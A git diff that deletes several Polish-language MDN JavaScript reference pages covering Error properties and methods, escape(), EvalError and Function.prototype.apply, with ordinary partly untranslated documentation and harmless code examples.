-throw e;
-console.log(e.lineNumber) // 2
-
- -

Alternatywny przykład użycia zdarzenia error

- -
window.addEventListener('error', function(e) {
-  console.log(e.lineNumber); // 5
-});
-var e = new Error('Błąd przy parsowaniu wejścia');
-throw e;
-
- -

Własność lineNumber jest niestandardowa i nie posiada szerokiego wsparcia – zobacz tabelę opisującą wsparcie przeglądarek dla tej własności.

- -

Specyfikacje

- -

Nie jest częścią żadnego standardu.

- -

Wsparcie przeglądarek

- -
-
- - -

{{Compat("javascript.builtins.Error.lineNumber")}}

-
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/message/index.html b/files/pl/web/javascript/referencje/obiekty/error/message/index.html deleted file mode 100644 index 1f3983fa6b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/message/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Error.prototype.message -slug: Web/JavaScript/Referencje/Obiekty/Error/message -translation_of: Web/JavaScript/Reference/Global_Objects/Error/message ---- -
{{JSRef}}
- -

Właściwość message jest komunikatem błędu zapisanym w sposób czytelny dla czlowieka.

- -

Opis

- -

Właściwość zawiera krótki opis błędu, jeśli jest dostępny, lub został ustawiony. SpiderMonkey szeroko wykorzystuje właściwość message w wyjątkach. Właściwość message jest używany, wraz z właściwością {{jsxref("Error.prototype.name", "name")}} przez metodę {{jsxref("Error.prototype.toString()")}} do tworzenia tekstowej reprezentacji obiektu Error.

- -

Domyślnie właściwość message jest pustym stringiem, ale to zachowanie może zostać nadpisane w instancji, poprzez przekazanie komunikatu jako pierwszy parametr do {{jsxref("Error", "Error constructor")}}.

- -

Przykłady

- -

Rzucanie ustawionego błędu

- -
var e = new Error('Could not parse input'); // e.message is 'Could not parse input'
-throw e;
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}{{Spec2('ES6')}} 
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/name/index.html b/files/pl/web/javascript/referencje/obiekty/error/name/index.html deleted file mode 100644 index 11521ec4fd..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/name/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Error.prototype.name -slug: Web/JavaScript/Referencje/Obiekty/Error/name -translation_of: Web/JavaScript/Reference/Global_Objects/Error/name ---- -
{{JSRef}}
- -

Właściwość name reprezentuję nazwę danego typu błędu. Początkową wartością jest "Error".

- -

Opis

- -

Domyślnie, instancje {{jsxref("Error")}} mają ustawioną nazwę "Error". Właściwość name, razem z właściwością {{jsxref("Error.prototype.message", "message")}}, jest używana przez metodę  {{jsxref("Error.prototype.toString()")}} do tworzenia tekstowej reprezentacji obiektu Error.

- -

Przykłady

- -

Rzucanie ustawionego błędu

- -
var e = new Error('Malformed input'); // e.name is 'Error'
-
-e.name = 'ParseError';
-throw e;
-// e.toString() would return 'ParseError: Malformed input'
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}{{Spec2('ES6')}} 
- -

Kompatybilność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html deleted file mode 100644 index 9bb3ccbf13..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Error.prototype -slug: Web/JavaScript/Referencje/Obiekty/Error/prototype -tags: - - Error - - JavaScript - - Właściwość -translation_of: Web/JavaScript/Reference/Global_Objects/Error -translation_of_original: Web/JavaScript/Reference/Global_Objects/Error/prototype ---- -
{{JSRef}}
- -

Właściwość Error.prototype reprezentuje prototyp dla konstruktora {{jsxref("Error")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Opis

- -

Wszystkie instancje klasy {{jsxref("Error")}} oraz instancje {{jsxref("Global_Objects/Error", "non-generic errors", "#Error_types", 1)}} dziedziczą po Error.prototype. As with all constructor functions, you can use the prototype of the constructor to add properties or methods to all instances created with that constructor.

- -

Właściwości

- -

Właściwości standardowe

- -
-
Error.prototype.constructor
-
Określa funkcję tworzącą instancję prototypu.
-
{{jsxref("Error.prototype.message")}}
-
Wiadomość błędu.
-
{{jsxref("Error.prototype.name")}}
-
Nazwa błędu.
-
- -

Rozszerzenia zależne od dostawcy

- -
{{non-standard_header}}
- -

Microsoft

- -
-
{{jsxref("Error.prototype.description")}}
-
Opis błędu. Podobne do {{jsxref("Error.prototype.message", "message")}}.
-
{{jsxref("Error.prototype.number")}}
-
Numer błędu.
-
- -

Mozilla

- -
-
{{jsxref("Error.prototype.fileName")}}
-
Ścieżka do pliku, w którym wywołany został wyjątek.
-
{{jsxref("Error.prototype.lineNumber")}}
-
Numer linijki w pliku, która wywołała wyjątek.
-
{{jsxref("Error.prototype.columnNumber")}}
-
Numer znaku w wierszu, w którym został wywołany wyjątek.
-
{{jsxref("Error.prototype.stack")}}
-
Stack trace.
-
- -

Metody

- -
-
{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}
-
Zwraca łańcuch znaków zawierający źródło wybranego obiektu {{jsxref("Error")}}; możesz użyć tej. Overrides the {{jsxref("Object.prototype.toSource()")}} method.
-
{{jsxref("Error.prototype.toString()")}}
-
Zwraca ciąg znaków reprezentujący wybrany obiekt. Nadpisuje metodę {{jsxref("Object.prototype.toString()")}}.
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Początkowa definicja. Zaimplementowana w JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype', 'Error')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność

- -
- - -

{{Compat("javascript.builtins.Error.prototype")}}

-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/stack/index.html b/files/pl/web/javascript/referencje/obiekty/error/stack/index.html deleted file mode 100644 index 01c2129f21..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/stack/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Error.prototype.stack -slug: Web/JavaScript/Referencje/Obiekty/Error/Stack -tags: - - JavaScript - - Prototyp - - Referencja - - Własność - - niestandardowe -translation_of: Web/JavaScript/Reference/Global_Objects/Error/Stack ---- -
{{JSRef}} {{non-standard_header}}
- -

Niestandardowa własność stack obiektów {{jsxref("Error")}} podaje ścieżkę wywołań funkcji – które z nich były wywołane, w jakiej kolejności, z której linii i pliku, z jakimi argumentami. Stos wywołań zaczyna się od ostatnich wywołań, przez wcześniejsze, prowadząc do pierwotnego wywołania z zakresu globalnego.

- -

Opis

- -

Każdy krok będzie znajdował się w oddzielnej linii, zawierając w pierwszej części nazwę funkcji (jeśli nie jest to wywołanie z zakresu globalnego), następnie znak at (@), lokalizację pliku (z wyjątkiem sytuacji, w których funkcja jest konstruktorem zgłaszanego błędu), dwukropek oraz numer linii (jeśli zdefiniowana jest lokalizacja pliku). (Zauważ, że obiekt {{jsxref("Error")}} także posiada własności fileName, lineNumber i columnNumber, które można odczytać z danego błędu, jednak jedynie błędu, a nie jego stosu wywołań).

- -

Należy podkreślić, że opisany wyżej format jest formatem przeglądarki Firefox – nie ma standardu formatowania, jednakże Safari 6+ i Opera 12- używają bardzo podobnego formatu. Przeglądarki używające silnika JavaScript V8 (takie jak Chrome, Opera 15+, Android Browser) oraz IE10+, używają natomiast innego formatu (zobacz archiwalną dokumentację MSDN dla error.stack).

- -

Wartości argumentów w stosie: w wersjach wcześniejszych niż Firefox 14, po nazwie funkcji następowały wartości argumentów przekonwertowane do łańcucha znaków (string) w nawiasach, przed znakiem at (@). Podczas gdy obiekt (lub tablica itp.) pojawia się w przekonwertowanej formie "[object Object]" i nie może być przekonwertowany z powrotem do właściwych obiektów, wartości skalarne mogą być odzyskane (choć być może — w Firefoksie 14 nadal jest to możliwe — łatwiej będzie użyć arguments.callee.caller.arguments, tak jak nazwa funkcji może być uzyskana przez  arguments.callee.caller.name). "undefined" jest wylistowany jako "(void 0)". Zauważ, że jeśli argumenty typu string były przekazane z wartościami takimi jak "@", "(", ")" (lub znaki te występują w nazwach plików), nie możesz polegać po prostu na podzieleniu linii na części składowe – dlatego w Firefoksie 14 i nowszych jest to mniejszy problem.

- -

Różne przeglądarki ustawiają tę wartość w różnych momentach. Przykładowo, Firefox ustawia ją podczas tworzenia obiektu {{jsxref("Error")}}, natomiast PhantomJS ustawia ją jedynie podczas wyrzucania {{jsxref("Error")}} – i archiwalna dokumentacja MSDN również wydaje się zgadzać z implementacją PhantomJS.

- -

Przykłady

- -

Użycie własności stack

- -

Poniższy dokument HTML prezentuje użycie własności stack.

- -
<!DOCTYPE HTML>
-<meta charset="UTF-8">
-<title>Stack Trace Example</title>
-<body>
-<script>
-function trace() {
-  try {
-    throw new Error('myError');
-  }
-  catch(e) {
-    alert(e.stack);
-  }
-}
-function b() {
-  trace();
-}
-function a() {
-  b(3, 4, '\n\n', undefined, {});
-}
-a('first call, firstarg');
-</script>
-
- -

Zakładając, że powyższy dokument zapisany jest pod adresem C:\example.html w systemie plików Windows, kod utworzy okno typu alert z następującą treścią:

- -

W przeglądarce Firefox 30 i późniejszych wersjach, wraz z numerem kolumny:

- -
trace@file:///C:/example.html:9:17
-b@file:///C:/example.html:16:13
-a@file:///C:/example.html:19:13
-@file:///C:/example.html:21:9
- -

Od Firefoxa 14 do Firefoxa 29:

- -
trace@file:///C:/example.html:9
-b@file:///C:/example.html:16
-a@file:///C:/example.html:19
-@file:///C:/example.html:21
- -

Firefox 13 i wcześniejsze zwróci zamiast tego następujący tekst:

- -
Error("myError")@:0
-trace()@file:///C:/example.html:9
-b(3,4,"\n\n",(void 0),[object Object])@file:///C:/example.html:16
-a("first call, firstarg")@file:///C:/example.html:19
-@file:///C:/example.html:21
- -

Stos ewaluowanego kodu

- -

Od Firefoxa 30, stos błędu w wywołaniach Function() i eval() tworzy stos z bardziej szczegółową informacją o linii i kolumnie wewnątrz tych wywołań. Wywołania funkcji są wskazywane przez "> Function", a eval przez "> eval".

- -
try {
-  new Function('throw new Error()')();
-} catch (e) {
-  console.log(e.stack);
-}
-
-// anonymous@file:///C:/example.html line 7 > Function:1:1
-// @file:///C:/example.html:7:6
-
-
-try {
-  eval("eval('FAIL')");
-} catch (x) {
-  console.log(x.stack);
-}
-
-// @file:///C:/example.html line 7 > eval line 1 > eval:1:1
-// @file:///C:/example.html line 7 > eval:1:1
-// @file:///C:/example.html:7:6
-
- -

Możesz także użyć dyrektywy //# sourceURL do nazwania źródła eval. Zobacz też źródła Debug eval w dokumentacji Debuggera oraz w tym artykule.

- -

Specyfikacje

- -

Nie jest częścią żadnego standardu.

- -

Wsparcie przeglądarek

- -
-
- - -

{{Compat("javascript.builtins.Error.stack")}}

-
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html deleted file mode 100644 index f904d26f70..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Error.prototype.toSource() -slug: Web/JavaScript/Referencje/Obiekty/Error/toSource -tags: - - JavaScript - - Metodă - - Niestandardowy - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

Metoda toSource() zwraca kod, który możemethod returns code that could eval to the same error.

- -

Składnia

- -
e.toSource()
- -

Zwracana wartość

- -

Łańcuch znaków (string) zawierający kod źródłowy błędu.

- -

Przykłady

- -

Użycie toSource

- -

Wywołanie metody toSource instancji {{jsxref("Error")}} (w tym NativeErrors) zwróci łańcuch znaków zawierający kod źródłowy błędu. Zwrócony string może być ewaluowany do utworzenia (w przybliżeniu) takiego samego obiektu. Oczywiście ciąg znaków zawierający kod źródłowy jest zgodny ze strukturą konstruktora {{jsxref("Error")}}. Przykładowo:

- -
(newname(message, nazwaPliku, numerLinii))
-
- -

gdzie wymienione atrybuty odpowiadają właściwym własnościom instancji błędu.

- -
-

Uwaga: należy pamiętać, że własności używanen przez metodę toSource podczas tworzenia tego ciągu znaków są modyfikowalne i mogą nie odzwierciedlać dokładnie funkcji użytej do stworzenia instancji błędu lub nazwy pliku czy numeru linii gdzie wystąpił dany błąd.

-
- -

Specyfikacje

- -

Nie należy do żadnego standardu.

- -

Wsparcie przeglądarek

- -
-
- - -

{{Compat("javascript.builtins.Error.toSource")}}

-
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html deleted file mode 100644 index 6b019bc60b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Error.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/Error/toString -tags: - - JavaScript - - Metodă - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString ---- -
{{JSRef}}
- -

Metoda toString() zwraca iąg znaków reprezentujący dany obiekt {{jsxref("Error")}}.

- -

Składnia

- -
e.toString()
- -

Zwracana wartość

- -

Ciąg znaków reprezentujący dany obiekt {{jsxref("Error")}}.

- -

Opis

- -

Obiekt {{jsxref("Error")}} nadpisuje metodę {{jsxref("Object.prototype.toString()")}} dziedziczoną przez wszystkie obiekty. Jego semantyka jest następująca (przy założeniu, że {{jsxref("Object")}} i {{jsxref("String")}} mają swoje oryginalne wartości):

- -
Error.prototype.toString = function() {
-  'use strict';
-
-  var obj = Object(this);
-  if (obj !== this) {
-    throw new TypeError();
-  }
-
-  var name = this.name;
-  name = (name === undefined) ? 'Error' : String(name);
-
-  var msg = this.message;
-  msg = (msg === undefined) ? '' : String(msg);
-
-  if (name === '') {
-    return msg;
-  }
-  if (msg === '') {
-    return name;
-  }
-
-  return name + ': ' + msg;
-};
-
- -

Przykłady

- -

Użycie toString()

- -
var e = new Error('fatal error');
-console.log(e.toString()); // 'Error: fatal error'
-
-e.name = undefined;
-console.log(e.toString()); // 'Error: fatal error'
-
-e.name = '';
-console.log(e.toString()); // 'fatal error'
-
-e.message = undefined;
-console.log(e.toString()); // ''
-
-e.name = 'hello';
-console.log(e.toString()); // 'hello'
-
- -

Specyfikacje

- - - - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}
- -

Wsparcie przeglądarek

- -
- - -

{{Compat("javascript.builtins.Error.toString")}}

-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/escape/index.html b/files/pl/web/javascript/referencje/obiekty/escape/index.html deleted file mode 100644 index 06d1d3d2c4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/escape/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: escape() -slug: Web/JavaScript/Referencje/Obiekty/escape -translation_of: Web/JavaScript/Reference/Global_Objects/escape ---- -
{{jsSidebar("Objects")}}
- -

The deprecated escape() function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("encodeURI")}} or {{jsxref("encodeURIComponent")}} instead.

- -

Składnia

- -
escape(str)
- -

Parametry

- -
-
str
-
A string to be encoded.
-
- -

Description

- -

The escape function is a property of the global object. Special characters are encoded with the exception of: @*_+-./

- -

The hexadecimal form for characters, whose code unit value is 0xFF or less, is a two-digit escape sequence: %xx. For characters with a greater code unit, the four-digit format %uxxxx is used.

- -

Przykłady

- -
escape("abc123");     // "abc123"
-escape("äöü");        // "%E4%F6%FC"
-escape("ć");          // "%u0107"
-
-// znaki specjalne
-escape("@*_+-./");    // "@*_+-./"
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}{{Spec2('ES5.1')}}Defined in the (informative) Compatibility Annex B
{{SpecName('ES6', '#sec-escape-string', 'escape')}}{{Spec2('ES6')}}Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/evalerror/index.html b/files/pl/web/javascript/referencje/obiekty/evalerror/index.html deleted file mode 100644 index 6fd39a8789..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/evalerror/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: EvalError -slug: Web/JavaScript/Referencje/Obiekty/EvalError -tags: - - EvalError - - JavaScript - - Klasa - - Obiekt - - Referencja -translation_of: Web/JavaScript/Reference/Global_Objects/EvalError ---- -
{{JSRef}}
- -

Obiekt EvalError wskazuje na błąd dotyczący globalnej funkcji {{jsxref("Global_Objects/eval", "eval()")}}. Ten wyjątek nie jest już wywoływany przez JavaScript, jednak obiekt EvalError został zachowany ze względu na kompatybilność wsteczną.

- -

Konstruktor

- -
-
EvalError()
-
Tworzy nowy obiekt EvalError.
-
- -

Własności instancji

- -
-
{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}
-
Treść błędu. Choć ECMA-262 określa, że {{jsxref("EvalError")}} powinien mieć swoją własną wartość message, w SpiderMonkey jest ona dziedziczona z {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}
-
Nazwa błędu. Dziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}
-
Ścieżka do pliku, w którym został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}
-
Numer linii w pliku, gdzie został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}
-
Kolumna w linii, gdzie został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}
-
Stos wywołań. Dziedziczone z {{jsxref("Error")}}.
-
- -

Przykłady

- -

EvalError nie jest używany w obecnej specyfikacji ECMAScript, zatem nie będzie wywoływany podczas wykonania programu – jednakże sam obiekt został zachowany ze względu na wsteczną kompatybilność z wcześniejszymi wersjami specyfikacji.

- -

Tworzenie EvalError

- -
try {
-  throw new EvalError('Hello', 'someFile.js', 10);
-} catch (e) {
-  console.log(e instanceof EvalError); // true
-  console.log(e.message);              // "Hello"
-  console.log(e.name);                 // "EvalError"
-  console.log(e.fileName);             // "someFile.js"
-  console.log(e.lineNumber);           // 10
-  console.log(e.columnNumber);         // 0
-  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
-}
-
- -

Specyfikacje

- - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}
- -

Wsparcie przeglądarek

- -
-
- - -

{{Compat("javascript.builtins.EvalError")}}

-
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/function/apply/index.html b/files/pl/web/javascript/referencje/obiekty/function/apply/index.html deleted file mode 100644 index 411b47423a..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/function/apply/index.html +++ /dev/null @@ -1,289 +0,0 @@ ---- -title: Function.prototype.apply() -slug: Web/JavaScript/Referencje/Obiekty/Function/apply -translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply ---- -
{{JSRef}}
- -

Metoda apply() wywołuje daną funkcję podstawiając daną wartość this i argumenty przedstawione w postaci tablicy (lub obiektu tablicopodobnego (array-like object)).

- -
-

Notka: Składnia tej funkcji jest niemal identyczna do {{jsxref("Function.call", "call()")}}, podstawową różnicą jest to, iż call() przyjmuje listę argumentów, podczas gdy apply() akceptuje pojedynczą tablicę argumentów.

-
- -

Składnia

- -
function.apply(thisArg, [argsArray])
- -

Parametry

- -
-
thisArg
-
Optional. The value of this provided for the call to func. Note that this may not be the actual value seen by the method: if the method is a function in {{jsxref("Strict_mode", "non-strict mode", "", 1)}} code, {{jsxref("null")}} and {{jsxref("undefined")}} will be replaced with the global object, and primitive values will be boxed.
-
argsArray
-
Optional. An array-like object, specifying the arguments with which fun should be called, or {{jsxref("null")}} or {{jsxref("undefined")}} if no arguments should be provided to the function. Starting with ECMAScript 5 these arguments can be a generic array-like object instead of an array. See below for {{anch("Browser_compatibility", "browser compatibility")}} information.
-
- -

Zwracana wartość

- -

Wynik wywoływanej funkcji z określoną wartością this i argumentami.

- -

Opis

- -

Można przypisać inny obiekt this podczas wywoływania istniejącej funkcji. this odnosi się do bieżącego obiektu, obiektu wywołującego. Z apply można napisać metodę raz, a następnie dziedziczyć w innym obiekcie, bez konieczności przepisywania metody dla nowego obiektu.

- -

apply jest bardzo podobne do {{jsxref("Function.call", "call()")}}, z wyjątkiem typu danych argumentów, które wspiera. Można używać tablicy argumentów zamiast zestawu argumentów (parametrów). Z metodą apply, możesz używać tablic w sensie dosłownym, na przykład func.apply(this, ['eat', 'bananas']), lub obiektów typu {{jsxref("Array")}}, na przykład, func.apply(this, new Array('eat', 'bananas')).

- -

Można używać również {{jsxref("Funkcje/arguments", "arguments")}} dla parametru argsArray. arguments jest zmienną lokalną dostępną wewnątrz każdej funkcji. Można to zastosować do wszystkich nieokreślonych argumentów wywoływanego obiektu. Tak więc nie trzeba znać argumentów wywoływanego obiektu przy użyciu metody apply Możesz użyć arguments, aby przekazać wszystkie argumenty do wywoływanego obiektu. Wywołany obiekt jest odpowiedzialny za obsługę otrzymanych argumentów.

- -

Od ECMAScript 5th Edition możliwe jest również używanie wszelkiego rodzaju obiektów „tablicopodobnych” (array-like), co w praktyce oznacza, że obiekt taki musi mieć własność length i całkowite własności (indeksy) w zakresie (0..length-1). Przykładowo możesz użyć {{domxref("NodeList")}} lub własnego oiektu jak np. { 'length': 2, '0': 'eat', '1': 'bananas' }.

- -
-

Większość przeglądarek, w tym Chrome 14 i Internet Explorer 9, w dalszym ciągu nie akceptuje obiektów tablicopodobnych i będzie wyrzucać wyjątek.

-
- -

Przykłady

- -

Użycie apply do dodania tablicy do innej tablicy

- -

Możemy użyć metody push do dodania elementu do tablicy. I, jako że push przyjmuje zmienną liczbę argumentów, możemy również dodać wiele elementów naraz – ale jeśli faktycznie przekażemy tablicę do funkcji push, wówczas rzeczywiście doda ona tablicę jako pojedynczy element, zamiast dodać jej elementy, więc skończymy z tablicą wewnątrz tablicy. Co jeśli to nie jest to, co chcieliśmy osiągnąć? concat ma zachowanie takie, jakiego oczekiwalibyśmy w tym przypadku, jednak funkcja ta nie dodaje w rzeczywistości tablicy do istniejącej tablicy, ale tworzy i zwraca nową. Ale chcieliśmy zmodyfikować naszą istniejącą tablicę… Więc co teraz? Napisać pętlę? No chyba nie?

- -

apply przychodzi na ratunek!

- -
var array = ['a', 'b'];
-var elements = [0, 1, 2];
-array.push.apply(array, elements);
-console.info(array); // ["a", "b", 0, 1, 2]
-
- -

 

- -

Using apply and built-in functions

- -

 

- -

Clever usage of apply allows you to use built-ins functions for some tasks, that otherwise probably would have been written by looping over the array values. As an example here we are going to use Math.max/Math.min, to find out the maximum/minimum value in an array.

- -
// min/max number in an array
-var numbers = [5, 6, 2, 3, 7];
-
-// using Math.min/Math.max apply
-var max = Math.max.apply(null, numbers);
-// This about equal to Math.max(numbers[0], ...)
-// or Math.max(5, 6, ...)
-
-var min = Math.min.apply(null, numbers);
-
-// vs. simple loop based algorithm
-max = -Infinity, min = +Infinity;
-
-for (var i = 0; i < numbers.length; i++) {
-  if (numbers[i] > max) {
-    max = numbers[i];
-  }
-  if (numbers[i] < min) {
-    min = numbers[i];
-  }
-}
-
- -

But beware: in using apply this way, you run the risk of exceeding the JavaScript engine's argument length limit. The consequences of applying a function with too many arguments (think more than tens of thousands of arguments) vary across engines (JavaScriptCore has hard-coded argument limit of 65536), because the limit (indeed even the nature of any excessively-large-stack behavior) is unspecified. Some engines will throw an exception. More perniciously, others will arbitrarily limit the number of arguments actually passed to the applied function. To illustrate this latter case: if such an engine had a limit of four arguments (actual limits are of course significantly higher), it would be as if the arguments 5, 6, 2, 3 had been passed to apply in the examples above, rather than the full array.

- -

If your value array might grow into the tens of thousands, use a hybrid strategy: apply your function to chunks of the array at a time:

- -
function minOfArray(arr) {
-  var min = Infinity;
-  var QUANTUM = 32768;
-
-  for (var i = 0, len = arr.length; i < len; i += QUANTUM) {
-    var submin = Math.min.apply(null,
-                                arr.slice(i, Math.min(i+QUANTUM, len)));
-    min = Math.min(submin, min);
-  }
-
-  return min;
-}
-
-var min = minOfArray([5, 6, 2, 3, 7]);
-
- -

 

- -

Using apply to chain constructors

- -

 

- -

You can use apply to chain {{jsxref("Operators/new", "constructors", "", 1)}} for an object, similar to Java. In the following example we will create a global {{jsxref("Function")}} method called construct, which will enable you to use an array-like object with a constructor instead of an arguments list.

- -
Function.prototype.construct = function(aArgs) {
-  var oNew = Object.create(this.prototype);
-  this.apply(oNew, aArgs);
-  return oNew;
-};
-
- -
-

Note: The Object.create() method used above is relatively new. For alternative methods, please consider one of the following approaches:

- -

Using {{jsxref("Object/__proto__", "Object.__proto__")}}:

- -
Function.prototype.construct = function (aArgs) {
-  var oNew = {};
-  oNew.__proto__ = this.prototype;
-  this.apply(oNew, aArgs);
-  return oNew;
-};
-
- -

Using closures:

- -
Function.prototype.construct = function(aArgs) {
-  var fConstructor = this, fNewConstr = function() {
-    fConstructor.apply(this, aArgs);
-  };
-  fNewConstr.prototype = fConstructor.prototype;
-  return new fNewConstr();
-};
- -

Using the {{jsxref("Function")}} constructor:

- -
Function.prototype.construct = function (aArgs) {
-  var fNewConstr = new Function("");
-  fNewConstr.prototype = this.prototype;
-  var oNew = new fNewConstr();
-  this.apply(oNew, aArgs);
-  return oNew;
-};
-
-
- -

Example usage:

- -
function MyConstructor() {
-  for (var nProp = 0; nProp < arguments.length; nProp++) {
-    this['property' + nProp] = arguments[nProp];
-  }
-}
-
-var myArray = [4, 'Hello world!', false];
-var myInstance = MyConstructor.construct(myArray);
-
-console.log(myInstance.property1);                // logs 'Hello world!'
-console.log(myInstance instanceof MyConstructor); // logs 'true'
-console.log(myInstance.constructor);              // logs 'MyConstructor'
-
- -
-

Note: This non-native Function.construct method will not work with some native constructors; like {{jsxref("Date")}}, for example. In these cases you have to use the {{jsxref("Function.prototype.bind")}} method. For example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: [2012, 11, 4]; in this case you have to write something like: new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))(). This is not the best way to do things, and probably not to be used in any production environment.

-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}{{Spec2('ES6')}} 
